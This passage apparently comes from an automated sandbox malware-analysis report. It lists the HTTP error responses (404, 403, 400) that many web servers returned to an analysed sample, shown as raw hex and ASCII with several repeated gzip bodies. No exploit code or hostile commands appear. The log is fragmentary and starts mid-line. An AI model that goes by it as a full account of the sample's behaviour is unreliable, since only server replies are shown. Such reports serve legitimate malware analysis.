63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html;charset=UTF-8Content-Length: 0Connection: closeCache-control: no-cache
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html;charset=UTF-8Content-Length: 0Connection: closeCache-control: no-cache
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sat, 02 Mar 2024 11:38:17 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzzIy%jaC]7X0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sat, 02 Mar 2024 11:38:21 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzzIy%jaC]7X0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:21 GMTServer: Apache/2.4.51 (Debian)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 31 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 38 3a 32 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 31 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 31 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 38 35 2e 34 31 2e 37 31 2e 36 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.51 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Sat, 02 Mar 2024 11:38:21 GMTServer: Apache/2.4.51 (Debian)Content-Length: 304Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD H
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:21 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Keep-Alive: timeout=2, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 38 3a 32 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 32 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 69 61 73 6b 6f 77 6e 69 63 61 6d 6f 6f 64 6c 65 2e 75 63 69 2e 70 62 2e 65 64 75 2e 70 6c 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Sat, 02 Mar 2024 11:38:21 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 323Connection: closeContent-Type: text/html; ch
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat Mar 2 21:38:25 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat Mar 2 21:38:25 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Sat, 02 Mar 2024 11:38:27 GMTContent-Type: text/htmlContent-Length: 2867Connection: keep-aliveETag: "6391baca-b33"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Sat, 02 Mar 2024 11:38:27 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 6d 78 95 8e 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Vp/JLII&T";Ct@}4l"(//=3YNf>%mx0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:28 GMTServer: Apache/2.2.16 (Debian)Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 243Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Sat, 02 Mar 2024 11:38:27 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 6d 78 95 8e 92 00 00 00 0d 0a 30 0d 0a 0d 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 38 3a 32 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 6a(HML),I310Vp/JLII&T";Ct@}4l"(//=3YNf>%mx0HTTP/1.1 400 Bad RequestServer: nginxDate: Sat, 02 Mar 2024 11:38:27 GMTContent-Type: text/htmlConnection: close<html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 13:09:48 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:28 GMTServer: Apache/2.2.16 (Debian)Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 243Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat Mar 2 14:38:27 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:28 GMTServer: Apache/2.2.16 (Debian)Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 243Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:28 GMTServer: Apache/2.2.16 (Debian)Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 243Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:28 GMTServer: Apache/2.2.16 (Debian)Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 243Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:28 GMTServer: Apache/2.2.16 (Debian)Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 243Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:28 GMTServer: Apache/2.2.16 (Debian)Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 243Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
